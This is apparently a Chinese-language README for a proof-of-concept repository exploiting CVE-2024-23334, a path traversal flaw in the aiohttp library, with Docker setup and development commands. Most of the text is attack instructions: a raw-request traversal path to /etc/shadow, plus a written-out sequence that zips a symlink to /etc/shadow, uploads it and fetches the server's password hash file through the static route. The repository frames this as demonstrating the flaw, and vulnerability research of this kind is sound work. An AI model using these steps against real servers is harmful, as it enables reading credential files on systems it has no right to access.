此仓库包含关于利用 aiohttp 库中报告漏洞 CVE-2024-23334 的概念验证。
创建此仓库出于两个原因:
更多信息,请访问我的网站:https://brianre.dev/
make build
make run
如果希望以分离模式运行 Docker,只需运行:
make rund
python3 exploits/exploit_path_traversal.py
运行脚本时,我们向服务器发起一次原始 HTTP 请求。之所以这样做而不是使用 curl 或直接在浏览器中访问,是因为这些工具在发送 HTTP 请求前会执行路径清理和规范化。其中包括路径规范化:curl 和浏览器等工具会处理 URL 路径,移除用于目录遍历的 .. 序列。因此,像 /static/../../../../../../../../../../../../etc/shadow 这样的路径会被规范化为 /etc/shadow,而由于标准 Web 服务器上通常不存在此类路径资源,会导致 404 错误。
本仓库中创建的场景仅用于解释该漏洞并证明其存在且仍可被利用。
具体方法是通过压缩文件上传符号链接。这样,当压缩包在服务器上解压时,会生成同样的符号链接。如果直接用 curl 将符号链接作为 link.jpeg 文件上传,curl 只会读取符号链接所指向的本地文件,并上传原文件而非符号链接本身。因此,若要指向服务器文件系统的特定路径,我们需要上传一个压缩文件,例如 .zip 或 .tar.gz。
要复现第二个场景,请执行以下步骤:
touch /etc/shadow # 在本地机器上指定的目录创建文件。请确保不会替换已有文件。
ln -s /etc/shadow exploit.jpeg # 创建指向 /etc/shadow 的符号链接,并将其命名为 exploit.jpeg
zip -y images.zip exploit.jpeg # 将符号链接压缩成 zip 文件
curl -X POST -F "[email protected]" http://localhost:8080/upload # 上传 zip 文件
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # 访问符号链接,由于 aiohttp 存在漏洞,它会返回服务器上的 /etc/shadow
待办
为了本地搭建开发环境,你需要:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt